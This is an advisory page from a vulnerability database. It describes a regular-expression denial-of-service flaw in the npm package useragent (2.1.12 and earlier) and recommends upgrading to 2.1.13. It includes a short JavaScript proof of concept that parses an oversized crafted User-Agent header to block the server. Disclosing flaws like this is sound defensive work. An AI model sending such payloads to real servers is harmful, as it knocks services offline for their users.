Most recent entries from all

cnvd-2018-25045

EUVD-2026-178481

fkie_cve-2017-16030

Useragent is used to parse useragent headers. It uses several regular expressions to accomplish this. An attacker could edit their own headers, creating an arbitrarily long useragent string, causing the event loop and server to block. This affects Useragent 2.1.12 and earlier.

GHSA-pjmx-9xr3-82qr — ReDoS via long UserAgent header in useragent

Affected: npm: useragent

Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.

## Proof of Concept ```js var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ```

## Recommendation

Update to version 2.1.13 or later.

Most recent entries from all

cnvd-2018-25045

EUVD-2026-178481

fkie_cve-2017-16030

GHSA-pjmx-9xr3-82qr — ReDoS via long UserAgent header in useragent

gsd-2017-16030